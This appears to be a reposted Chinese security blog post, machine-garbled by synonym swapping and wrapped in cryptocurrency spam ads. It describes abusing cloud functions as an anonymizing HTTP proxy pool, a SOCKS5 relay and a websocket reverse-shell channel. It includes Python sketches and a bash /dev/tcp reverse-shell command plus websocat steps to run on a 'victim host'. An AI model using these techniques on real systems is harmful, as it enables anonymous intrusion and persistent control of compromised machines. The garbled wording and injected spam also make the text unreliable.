欢迎访问本站!

首页科技正文

usdt自动充提教程(www.caibao.it):浅谈云函数的行使面

admin2021-09-13158安全技术安全工具

FLa挖矿

IPFS官网(www.FLaCoin.vip)是Filecoin致力服务于使用Filecoin存储和检索数据的官方权威平台。IPFS官网实时更新FlaCoin(FIL)行情、当前FlaCoin(FIL)矿池、FlaCoin(FIL)收益数据、各类FlaCoin(FIL)矿机出售信息。并开放FlaCoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

最近看到一篇关于行使云函数做免费署理池的文章,以为蛮有意思的,于是也花时间研究了并实现了云函数的几个有趣的行使方式。

HTTP 署理

原理

这是最为简朴的行使方式。主要原理在于:

  1. 云函数可行使 API 网关触发器举行触发,接受来自客户端的数据
  2. 可以对外发包,类似于一个 SSRF

实现

因此一个 HTTP Proxy 的实现思绪就很简朴了。客户端挂上署剃头送数据包,HTTP 署理服务器阻挡数据包,提取 HTTP 报文相关信息,然后将报文以某种形式 POST 到云函数举行剖析,云函数凭证剖析到的信息对目的提议请求,最终将效果一层一层返回。

流程如图所示:

现实效果

开启 HTTP 署理:

测试 IP 数目:

经由多次测试,5 线程 200 次接见 myip.ipip.net,分配 ip 数目在 60-70 左右更改。

SOCKS5 署理

有了 HTTP 署理,就不禁想再往前跨一步,针对 MySQL,RDP 等毗邻也希望保持匿名的时刻,若何行使云函数做 SOCKS5 署理。

原理

云函数能对外发包,自然意味着 socket 可对外提议毗邻。因此我们完全可以将云函数看成一座桥梁,一侧对 VPS 提议毗邻,另一侧侧对目的服务器提议毗邻。

有了这座桥梁,稍微修改一下 SOCKS5 署理我们就可以发车上路了。

实现

正常 SOCKS5 署理请求的流程为服务端监听来自客户端的事宜,每当客户端提议一个新的毗邻,服务端天生一个 socket A,并从数据包中剖析出目的服务器的地址和端口,在内陆对目的提议一个 socket 毗邻 B,同步两个 socket 的 IO 操作。

SOCKS5 主要分为 3 个步骤:

  • 认证:对客户端提议的毗邻举行认证
  • 确立毗邻:从客户端提议的毗邻中读取数据,获得目的服务器地址,并确立毗邻
  • 转发数据:划分未来自客户端、服务器的数据转发给对方

用代码示意为如下:

def socks5_process(client: socket):
    """SocksServer 监听到新毗邻时的回调函数,将天生的 socket 作为参数 client 传入"""
    socks5_auth(client)
    target = socks5_connect(client)
    socks5_forward(client, target)


def socks5_connect(client: socket):
    , 省略协议细节处置
    address, port = extract_targe_info(client)
    target = socket.create_connection((address, port))

对比 SOCKS5 的流程和云函数确立毗邻的方式,可发现在 socks5_connect 中,我们需要的不再是对外自动提议毗邻,而是监听一个端口,守候云函数提议毗邻。

而为了让云函数提议毗邻,我们需要自动对云函数的 API 网关发送请求,触发云函数的执行,并将目的服务器信息附在 POST 数据包中。

, socks5.py
def socks5_process(client: socket):
    socks5_auth(client)
    socks5_connect(client)
    , 不在此处举行 forward 了
    , socks5_forward(client, target)

def socks5_connect(client: socket):
    ...
    address, port = client.read()
    requests.post(api_url, json={"host": address, "port": port})

def forward_process(target: socket):
    """ForwardServer(监听来自云函数的毗邻) 监听到新毗邻时的回调函数,将天生的 socket 作为参数 target 传入"""
    , 在此处举行 forward
    , 需要注重由该 client 触发发生 target 毗邻需要与该 client 对应
    socks5_forward(client, target)

服务端吸收请求,并提议毗邻。

, server.py
def main_handler(event, context):
    data = json.loads(event["body"])
    socks5 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    , 剖析出目的主机并提议毗邻
    socks5.connect((data["host"], data["port"]))

    forward = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    , 反向毗邻
    forward.connect((your_vps, forward_port))

    , 同步 socks5 和 forward 的 IO 操作
    ...

至此,一条完整的通路便形成了。

,

FlaCoin FLA

IPFS官网(www.FLaCoin.vip)是Filecoin致力服务于使用Filecoin存储和检索数据的官方权威平台。IPFS官网实时更新FlaCoin(FIL)行情、当前FlaCoin(FIL)矿池、FlaCoin(FIL)收益数据、各类FlaCoin(FIL)矿机出售信息。并开放FlaCoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

,

效果

以 MySQL 毗邻为例,设置 Proxifier

毗邻 MySQL:

在 VPS 上开启 SOCKS5 署理,乐成买通毗邻

缺陷

  • 受限于云函数的超时时间,最多仅能维持 15 分钟长毗邻
  • 署理需要 VPS

反弹 shell

腾讯云函数的 API 网关除了基本的 HTTP 协议,还提供了一个 websocket 协议触发器,详细形貌如下:

文中提到,每当客户端发出新闻都市触发云函数的执行,这也是为什么上一节不能直接用 websocket 举行 socks5 署理。

先容完 websocket 功效,接下来就看看若何行使这个器械实现反弹 shell 的功效。

原理

反弹 shell 的本质在于与目的确立一个可以传输数据的双向通道,攻击者通过通道传输的数据被受害主机执行并将效果借由通道原理返回。以 bash 反弹 shell 为例子:

bash -i >& /dev/tcp/127.0.0.1/8088 0>&1
  • >& target 等价于 > file 2>&1,即将尺度错误输出尺度输出都重定向 target
  • 0>&1 即将尺度输入也重定向到 target
    最终的效果如下

既然云云,我们能不能再加两层 websocket 通道,形成这样的通道:

形成上述通道的难点在于需要能够从受害主机对 API 网关提议 socket 毗邻并传输 shell 数据,于是经由一番试探找到这样一个工具 websocat。

该工具提供了一个将 TCP 端口转发到 websocket 的功效。

因此行使思绪为:

  1. 上传 websocat(或远程下载)到受害主机
  2. 执行 websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway 转发端口
  3. 反弹 shell 到内陆端口 bash -i >& /dev/tcp/127.0.0.1/12345 0>&1
  4. 攻击者毗邻 ws://apigate ,通过云函数举行新闻中转,最先愉快的执行下令

通过 ws 毗邻时,API 网关会天生一个 ConnectionID 代表当前与之毗邻的一台机械,然而由于通过 ws 毗邻每次发新闻都市挪用一次云函数,我们只能知道提议毗邻的这台机械的 ConnectionID。为此我们还需要一台数据库,用来保留处于毗邻中的机械,利便举行新闻中转。

最终结构如下:

效果

在受害主机上执行下令

内陆毗邻 API 网关,乐成执行下令

由于 API 网关的 ws 地址直接露出会对照危险,因此在服务端增添了一个认证功效,未认证毗邻发送的信息仅会发送给经由认证的的毗邻。

工具

本文仅针对 3 种方式提供了一个简朴的原理和思绪解说,并未深入代码细节和云函数的详细设置。但 3 中思绪均已实现成工具,云函数的设置方式也包罗在内,有需要的师傅可以康康 SCFProxy。

网友评论

1条评论